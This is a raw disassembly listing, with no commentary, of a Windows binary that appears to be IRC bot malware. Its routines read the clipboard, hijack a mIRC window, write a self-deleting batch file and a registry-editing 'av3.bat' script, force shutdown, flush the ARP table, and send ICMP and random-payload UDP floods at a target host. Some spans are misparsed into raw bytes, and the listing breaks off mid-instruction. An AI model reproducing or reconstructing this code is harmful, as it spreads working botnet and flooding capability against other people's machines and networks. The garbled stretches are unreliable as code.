ds:dword_430870, esi jz short loc_406A8F push ds:dword_430874 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406A8F: ; CODE XREF: sub_406977+EAj cmp ds:dword_430878, esi jz short loc_406AC3 push ds:dword_43087C lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406AC3: ; CODE XREF: sub_406977+11Ej cmp ds:dword_430880, esi jz short loc_406AF7 push ds:dword_430884 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406AF7: ; CODE XREF: sub_406977+152j cmp ds:dword_430888, esi jz short loc_406B2B push ds:dword_43088C lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406B2B: ; CODE XREF: sub_406977+186j cmp ds:dword_430890, esi jz short loc_406B5F push ds:dword_430894 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406B5F: ; CODE XREF: sub_406977+1BAj cmp ds:dword_430898, esi jz short loc_406B93 push ds:dword_43089C lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406B93: ; CODE XREF: sub_406977+1EEj cmp ds:dword_4308A0, esi jz short loc_406BC7 push ds:dword_4308A4 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406BC7: ; CODE XREF: sub_406977+222j cmp ds:dword_4308A8, esi jz short loc_406BFB push ds:dword_4308AC lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406BFB: ; CODE XREF: sub_406977+256j cmp ds:dword_4308B0, esi jz short loc_406C2F push ds:dword_4308B4 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406C2F: ; CODE XREF: sub_406977+28Aj lea eax, [ebp+var_200] push offset dword_420E94 push eax call sub_41050B cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_406C5C push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 14h loc_406C5C: ; CODE XREF: sub_406977+2CEj lea eax, [ebp+var_200] push eax call sub_407E0E pop ecx pop edi pop esi pop ebx leave retn sub_406977 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C6E proc near ; CODE XREF: seg000:00409D0Ep ; seg000:00409D3Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_406CF9 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_406CF9 cmp [ebp+arg_8], esi jz short loc_406CF9 cmp byte ptr [eax], 0 jz short loc_406CF9 push ebx push edi call sub_41AC6E mov ebx, eax pop ecx test ebx, ebx jz short loc_406CF4 push [ebp+arg_4] push edi call sub_410AE0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_406CED sub eax, edi push eax push edi push ebx call sub_411D00 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_410B60 push eax push [ebp+arg_8] push ebx call sub_411ED0 push [ebp+arg_4] call sub_410B60 add eax, esi push eax push ebx call sub_411B80 push ebx push edi call sub_411B70 add esp, 30h mov esi, edi loc_406CED: ; CODE XREF: sub_406C6E+3Cj push ebx call sub_410C83 pop ecx loc_406CF4: ; CODE XREF: sub_406C6E+2Bj mov eax, esi pop ebx jmp short loc_406CFB ; --------------------------------------------------------------------------- loc_406CF9: ; CODE XREF: sub_406C6E+Cj ; sub_406C6E+13j ... xor eax, eax loc_406CFB: ; CODE XREF: sub_406C6E+89j pop edi pop esi pop ebp retn sub_406C6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CFF proc near ; CODE XREF: sub_409218+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_410590 mov esi, [ebp+arg_0] push esi call sub_410B60 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_406D35 or eax, 0FFFFFFFFh jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406D35: ; CODE XREF: sub_406CFF+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_406D57 loc_406D41: ; CODE XREF: sub_406CFF+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_406D4E cmp dl, 0Dh jnz short loc_406D52 loc_406D4E: ; CODE XREF: sub_406CFF+48j and byte ptr [ecx+esi], 0 loc_406D52: ; CODE XREF: sub_406CFF+4Dj inc ecx cmp ecx, eax jl short loc_406D41 loc_406D57: ; CODE XREF: sub_406CFF+40j xor edx, edx push edi test eax, eax jle short loc_406D88 lea edi, [ebp+var_7CC] loc_406D64: ; CODE XREF: sub_406CFF+87j cmp byte ptr [edx+esi], 0 jnz short loc_406D83 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_406D83 cmp ebx, 1F4h jge short loc_406D88 mov [edi], ecx inc ebx add edi, 4 loc_406D83: ; CODE XREF: sub_406CFF+69j ; sub_406CFF+74j inc edx cmp edx, eax jl short loc_406D64 loc_406D88: ; CODE XREF: sub_406CFF+5Dj ; sub_406CFF+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_406DA6 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_4105F0 add esp, 0Ch loc_406DA6: ; CODE XREF: sub_406CFF+8Ej mov eax, ebx loc_406DA8: ; CODE XREF: sub_406CFF+34j pop esi pop ebx leave retn sub_406CFF endp ; =============== S U B R O U T I N E ======================================= sub_406DAC proc near ; CODE XREF: sub_406E06+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_406DE5 push ebx mov ebx, edi loc_406DC9: ; CODE XREF: sub_406DAC+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_406DE8 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_406DC9 pop ebx loc_406DE5: ; CODE XREF: sub_406DAC+18j pop edi pop esi retn sub_406DAC endp ; =============== S U B R O U T I N E ======================================= sub_406DE8 proc near ; CODE XREF: sub_406DAC+25p ; sub_406E06+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_412027 cmp al, 61h pop ecx jl short loc_406E03 cmp al, 7Ah jg short loc_406E03 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_406E03: ; CODE XREF: sub_406DE8+Ej ; sub_406DE8+12j xor eax, eax retn sub_406DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E06 proc near ; CODE XREF: sub_407EEE+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_410BE0 push ebx push esi push edi push [ebp+arg_0] call sub_410B60 push [ebp+arg_4] mov [ebp+var_4], eax call sub_410B60 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_406DAC add esp, 14h dec esi mov edi, esi loc_406E44: ; CODE XREF: sub_406E06+B6j test esi, esi jle short loc_406EC2 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_412027 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_412027 pop ecx cmp eax, ebx pop ecx jz short loc_406EBA loc_406E6A: ; CODE XREF: sub_406E06+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_406DE8 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_406E8B mov eax, ecx loc_406E8B: ; CODE XREF: sub_406E06+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_406EBE mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_412027 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_412027 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_406E6A loc_406EBA: ; CODE XREF: sub_406E06+62j dec edi dec esi jmp short loc_406E44 ; --------------------------------------------------------------------------- loc_406EBE: ; CODE XREF: sub_406E06+8Aj xor eax, eax jmp short loc_406EC7 ; --------------------------------------------------------------------------- loc_406EC2: ; CODE XREF: sub_406E06+40j mov eax, [ebp+arg_0] add eax, edi loc_406EC7: ; CODE XREF: sub_406E06+BAj pop edi pop esi pop ebx leave retn sub_406E06 endp ; --------------------------------------------------------------------------- loc_406ECC: ; CODE XREF: seg000:0040C642p push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_41C068 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp-100h] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 3D0000h mov ebp, 0FF00858Dh ; --------------------------------------------------------------------------- db 0FFh dd 80088AFFh, 57F1FF9h, 7509F980h, 0F1EB4003h, 48002080h dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h, 21F980EBh dd 858DE67Ch, 0FFFFFF00h, 0C0BE5056h, 0FF004308h, 18680875h dd 68004210h, 200h, 9B3CE856h, 0C4830000h, 5EC68B18h ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_406F56 proc near ; CODE XREF: seg000:0040DA23p push esi push 0 call ds:dword_430764 ; OpenClipboard test eax, eax jz short loc_406F8D push 1 call ds:dword_430784 ; GetClipboardData mov esi, eax test esi, esi jz short loc_406F8D push edi push esi call ds:dword_41C0C0 ; GlobalLock push esi mov edi, eax call ds:dword_41C0BC ; GlobalUnlock call ds:dword_4307E4 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_406F8D: ; CODE XREF: sub_406F56+Bj ; sub_406F56+19j xor eax, eax pop esi retn sub_406F56 endp ; =============== S U B R O U T I N E ======================================= sub_406F91 proc near ; CODE XREF: seg000:0040CF56p var_4 = dword ptr -4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call ds:dword_4307A0 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_40700D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 3D0000h sub [esi+56h], edx mov edi, eax push esi push 0F001Fh push edi call near ptr 3D0000h pop ecx push [esp+18h+var_4] mov ebx, eax push ebx call sub_41050B pop ecx pop ecx push esi push 1 push 4C8h push ebp call ds:dword_4307EC ; SendMessageA push esi push 1 push 4C9h push ebp call ds:dword_4307EC ; SendMessageA push ebx call near ptr 3D0000h db 67h push edi call ds:dword_41C070 ; CloseHandle push 1 pop eax pop ebx jmp short loc_40700F ; --------------------------------------------------------------------------- loc_40700D: ; CODE XREF: sub_406F91+16j xor eax, eax loc_40700F: ; CODE XREF: sub_406F91+7Aj pop edi pop esi pop ebp retn sub_406F91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407013 proc near ; CODE XREF: sub_4089FD+304p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:dword_43084C ; SearchPathA test eax, eax jz short loc_4070B2 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_41C078 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4070B2 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 12D0004h out dx, eax push ebx loc_40707A: ; DATA XREF: seg002:0041EBA0o ; seg002:0041EBB4o ... mov ebx, ds:dword_41C070 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4070B2 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 12F0004h mov bh, 56h call ebx ; CloseHandle loc_4070B2: ; CODE XREF: sub_407013+2Aj ; sub_407013+51j ... pop edi pop esi pop ebx leave retn sub_407013 endp ; =============== S U B R O U T I N E ======================================= sub_4070B7 proc near ; CODE XREF: seg000:0040A335p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_40F382 pop ecx pop ecx push 50005h push 6 call ds:dword_4306EC ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_4070B7 endp ; --------------------------------------------------------------------------- loc_4070D9: ; CODE XREF: seg000:0040DC4Fp push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_423008, esi push edi jz short loc_4070FD cmp ds:dword_430860, esi jnz short loc_4070FD push esi call sub_40801D pop ecx loc_4070FD: ; CODE XREF: seg000:004070ECj ; seg000:004070F4j call sub_410180 lea eax, [ebp-764h] push eax push 400h call near ptr 3D0000h xchg eax, esp lea eax, [ebp-764h] push eax lea eax, [ebp-260h] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41050B add esp, 0Ch lea eax, [ebp-260h] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_41C078 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_40725D lea eax, [ebp-260h] push eax lea eax, [ebp-764h] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41050B add esp, 0Ch lea eax, [ebp-4] push esi push eax lea eax, [ebp-764h] push eax call sub_410B60 pop ecx push eax lea eax, [ebp-764h] push eax push edi call near ptr 3D0000h jz short near ptr byte_4071E5 call ds:dword_41C070 ; CloseHandle push 10h lea eax, [ebp-14h] push esi push eax call sub_410590 push 44h lea eax, [ebp-58h] pop edi push edi push esi push eax call sub_410590 add esp, 18h mov [ebp-58h], edi mov edi, 104h lea eax, [ebp-15Ch] push edi push eax push esi mov dword ptr [ebp-4Ch], offset dword_42F3E8 mov dword ptr [ebp-2Ch], 1 mov [ebp-28h], si call near ptr 3D0000h dec esp push eax call near ptr 3D0000h sbb eax, 0FEA4858Dh ; --------------------------------------------------------------------------- byte_4071E5 db 2 dup(0FFh), 50h ; CODE XREF: seg000:0040718Cj dd 0C07C15FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h, 8068FFh dd 0E8500000h, 0FFFC8DFCh, 0A4858D1Dh, 50FFFFFEh, 0FDA0858Dh dd 8D50FFFFh, 0FFF89C85h, 105868FFh, 0E8500042h, 92E7h dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 0C5E850FFh dd 0D3FFFC8Dh, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 0FFFC8DA4h db 0D3h ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: seg000:0040714Bj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407261 proc near ; CODE XREF: sub_4089FD+11Cp var_1860 = byte ptr -1860h var_158 = byte ptr -158h var_58 = byte ptr -58h var_48 = dword ptr -48h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 1860h call sub_410BE0 push esi push edi mov ecx, 5C1h mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"... lea edi, [ebp+var_1860] lea eax, [ebp+var_158] rep movsd movsw push offset aCAv3_bat ; "c:\\av3.bat" push eax movsb call sub_41050B pop ecx xor esi, esi pop ecx lea eax, [ebp+var_158] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_41C078 ; CreateFileA mov edi, eax cmp edi, esi jbe short near ptr loc_40731A+1 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_1860] push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_1860] push eax push edi call near ptr 0D60004h push eax push edi call ds:dword_41C070 ; CloseHandle push 44h lea eax, [ebp+var_48] pop edi push edi push esi push eax call sub_410590 add esp, 0Ch lea ecx, [ebp+var_58] mov [ebp+var_48], edi mov [ebp+var_18], si push 1 pop eax push ecx lea ecx, [ebp+var_48] push ecx push esi push esi push 28h mov [ebp+var_1C], eax push eax push esi lea eax, [ebp+var_158] push esi push eax push esi call near ptr 0D80004h loc_40731A: ; CODE XREF: sub_407261+55j lock pop edi pop esi leave retn sub_407261 endp ; =============== S U B R O U T I N E ======================================= sub_40731F proc near ; CODE XREF: sub_4013E9+7p ; sub_401B7C+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4307D0 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_407347 push [esp+arg_0] call ds:dword_430814 ; gethostbyname test eax, eax jnz short loc_407340 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_407340: ; CODE XREF: sub_40731F+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_407347: ; CODE XREF: sub_40731F+Dj retn sub_40731F endp ; =============== S U B R O U T I N E ======================================= sub_407348 proc near ; CODE XREF: sub_4090B0+D6p mov ecx, ds:dword_4306CC xor eax, eax test ecx, ecx jz short locret_407356 call ecx ; DnsFlushResolverCache locret_407356: ; CODE XREF: sub_407348+Aj retn sub_407348 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407357 proc near ; CODE XREF: seg000:loc_40D9D5p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call ds:dword_43080C ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40741D sub ecx, 32h jz loc_407416 sub ecx, 48h jz short loc_4073B7 sub ecx, 6Eh jz short loc_4073B0 loc_407399: ; CODE XREF: sub_407357+8Bj push eax lea eax, [ebp+var_88] push offset unk_422894 push eax call sub_41050B add esp, 0Ch jmp short loc_4073F7 ; --------------------------------------------------------------------------- loc_4073B0: ; CODE XREF: sub_407357+40j push offset unk_42285C jmp short loc_4073E9 ; --------------------------------------------------------------------------- loc_4073B7: ; CODE XREF: sub_407357+3Bj push [ebp+var_8] call sub_410C0F push [ebp+var_8] mov esi, eax push edi push esi call sub_410590 add esp, 10h cmp esi, edi jz short loc_4073E4 lea eax, [ebp+var_8] push ebx push eax push esi call ds:dword_43080C ; GetIpNetTable cmp eax, edi jz short loc_40741D jmp short loc_407399 ; --------------------------------------------------------------------------- loc_4073E4: ; CODE XREF: sub_407357+79j push offset unk_422818 loc_4073E9: ; CODE XREF: sub_407357+5Ej ; sub_407357+C4j lea eax, [ebp+var_88] push eax call sub_41050B pop ecx pop ecx loc_4073F7: ; CODE XREF: sub_407357+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_407E0E pop ecx loc_407407: ; CODE XREF: sub_407357+C8j ; sub_407357+DCj push esi call sub_410C83 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407416: ; CODE XREF: sub_407357+32j push offset unk_4227D4 jmp short loc_4073E9 ; --------------------------------------------------------------------------- loc_40741D: ; CODE XREF: sub_407357+29j ; sub_407357+89j cmp [esi], edi jbe short loc_407407 lea ebx, [esi+4] loc_407424: ; CODE XREF: sub_407357+DAj push ebx call ds:dword_430808 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_407424 jmp short loc_407407 sub_407357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407435 proc near ; CODE XREF: seg000:00401E3Ep ; sub_402B8D+4Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_410590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call ds:dword_43073C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_430AC4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41050B add esp, 18h mov eax, esi pop esi leave retn sub_407435 endp ; =============== S U B R O U T I N E ======================================= sub_40748E proc near ; CODE XREF: seg000:00401A92p ; seg000:00401AD8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_4074B7 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_4074AA: ; CODE XREF: sub_40748E+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_4074AA pop edi jmp short loc_4074BB ; --------------------------------------------------------------------------- loc_4074B7: ; CODE XREF: sub_40748E+Aj mov edx, [esp+4+arg_0] loc_4074BB: ; CODE XREF: sub_40748E+27j test esi, esi pop esi jz short loc_4074C5 movzx ecx, byte ptr [edx] add eax, ecx loc_4074C5: ; CODE XREF: sub_40748E+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40748E endp ; --------------------------------------------------------------------------- loc_4074DB: ; DATA XREF: seg000:0040B824o push ebp mov ebp, esp mov eax, 10320h call sub_410BE0 mov eax, [ebp+8] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd push 1 pop edi mov [eax+120h], edi call ds:dword_430728 ; IcmpCreateFile mov [ebp+8], eax lea eax, [ebp-0C0h] push eax call ds:dword_4307D0 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_407536 lea eax, [ebp-0C0h] push eax call ds:dword_430814 ; gethostbyname cmp eax, ebx jz short loc_40753C loc_407536: ; CODE XREF: seg000:00407523j cmp dword ptr [ebp+8], 0FFFFFFFFh jnz short near ptr loc_407598+1 loc_40753C: ; CODE XREF: seg000:00407534j lea eax, [ebp-0C0h] push eax lea eax, [ebp-344h] push offset unk_422918 push eax call sub_41050B add esp, 0Ch cmp [ebp-28h], ebx jnz short loc_40757C push ebx lea eax, [ebp-344h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-140h] push eax push dword ptr [ebp-144h] call sub_40E367 add esp, 14h loc_40757C: ; CODE XREF: seg000:0040755Aj lea eax, [ebp-344h] push eax call sub_407E0E push dword ptr [ebp-30h] call sub_4102D3 pop ecx pop ecx push edi call near ptr 3D0000h loc_407598: ; CODE XREF: seg000:0040753Aj adc bh, [ebx] retn ; --------------------------------------------------------------------------- jz short loc_4075A9 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-4], eax jmp short loc_4075AC ; --------------------------------------------------------------------------- loc_4075A9: ; CODE XREF: seg000:0040759Bj mov [ebp-4], esi loc_4075AC: ; CODE XREF: seg000:004075A7j push 1Ch lea eax, [ebp-20h] push ebx push eax call sub_410590 or dword ptr [ebp-18h], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp-3Ch], eax jle short loc_4075CC mov [ebp-3Ch], eax loc_4075CC: ; CODE XREF: seg000:004075C7j cmp [ebp-38h], edi jge short loc_4075D4 mov [ebp-38h], edi loc_4075D4: ; CODE XREF: seg000:004075CFj xor esi, esi cmp [ebp-40h], ebx jle short loc_407601 loc_4075DB: ; CODE XREF: seg000:004075FFj push dword ptr [ebp-38h] lea eax, [ebp-20h] push 1Ch push eax push ebx lea eax, [ebp-10320h] push dword ptr [ebp-3Ch] push eax push dword ptr [ebp-4] push dword ptr [ebp+8] call ds:dword_4306C8 ; IcmpSendEcho inc esi cmp esi, [ebp-40h] jl short loc_4075DB loc_407601: ; CODE XREF: seg000:004075D9j push dword ptr [ebp+8] call ds:dword_430848 ; IcmpCloseHandle lea eax, [ebp-0C0h] push eax lea eax, [ebp-344h] push offset unk_4228D8 push eax call sub_41050B add esp, 0Ch cmp [ebp-28h], ebx jnz short loc_40764A push ebx lea eax, [ebp-344h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-140h] push eax push dword ptr [ebp-144h] call sub_40E367 add esp, 14h loc_40764A: ; CODE XREF: seg000:00407628j lea eax, [ebp-344h] push eax call sub_407E0E push dword ptr [ebp-30h] call sub_4102D3 pop ecx pop ecx push ebx call near ptr 3D0000h stosd loc_407667: ; DATA XREF: seg000:0040B96Eo push ebp mov ebp, esp mov eax, 10310h call sub_410BE0 mov eax, [ebp+8] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_41C04C ; GetTickCount push eax call sub_41055D pop ecx push 11h push 2 push 2 call ds:dword_430810 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_410590 add esp, 0Ch lea eax, [ebp-0B0h] mov word ptr [ebp-10h], 2 push eax call ds:dword_4307D0 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+8], eax jnz short near ptr loc_40774B+1 lea eax, [ebp-0B0h] push eax call ds:dword_430814 ; gethostbyname cmp eax, edi jnz short near ptr loc_407744+1 lea eax, [ebp-0B0h] push eax lea eax, [ebp-334h] push offset dword_422994 push eax call sub_41050B add esp, 0Ch cmp [ebp-18h], edi jnz short loc_407728 push edi lea eax, [ebp-334h] push dword ptr [ebp-1Ch] push eax lea eax, [ebp-130h] push eax push dword ptr [ebp-134h] call sub_40E367 add esp, 14h loc_407728: ; CODE XREF: seg000:00407706j lea eax, [ebp-334h] push eax call sub_407E0E push dword ptr [ebp-20h] call sub_4102D3 pop ecx pop ecx push esi call near ptr 3D0000h loc_407744: ; CODE XREF: seg000:004076E6j mov al, 8Bh inc eax or al, 8Bh add bl, ch loc_40774B: ; CODE XREF: seg000:004076D5j add ecx, [ebp+8B0845h] cmp [ebp-24h], edi mov [ebp-0Ch], eax jnz short loc_40776A call sub_410567 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40776D ; --------------------------------------------------------------------------- loc_40776A: ; CODE XREF: seg000:00407757j push dword ptr [ebp-24h] loc_40776D: ; CODE XREF: seg000:00407768j call ds:dword_430794 ; ntohs cmp [ebp-24h], esi mov [ebp-0Eh], ax jge short loc_40777F mov [ebp-24h], esi loc_40777F: ; CODE XREF: seg000:0040777Aj mov eax, 0FFFFh cmp [ebp-24h], eax jle short loc_40778C mov [ebp-24h], eax loc_40778C: ; CODE XREF: seg000:00407787j mov eax, [ebp-30h] push 0Ah cdq pop ecx idiv ecx cmp [ebp-28h], edi mov [ebp-30h], eax jnz short loc_4077A0 mov [ebp-28h], esi loc_4077A0: ; CODE XREF: seg000:0040779Bj xor esi, esi cmp [ebp-2Ch], edi jle short loc_4077C1 loc_4077A7: ; CODE XREF: seg000:004077BFj call sub_410567 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp-2Ch] mov [ebp+esi-10311h], dl jl short loc_4077A7 loc_4077C1: ; CODE XREF: seg000:004077A5j ; seg000:00407803j ... mov eax, [ebp-30h] dec dword ptr [ebp-30h] test eax, eax jle short loc_407820 push 0Bh pop esi loc_4077CE: ; CODE XREF: seg000:004077FEj lea eax, [ebp-10h] push 10h push eax push edi call sub_410567 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp-2Ch] sub eax, edx push eax lea eax, [ebp-10310h] push eax push ebx call 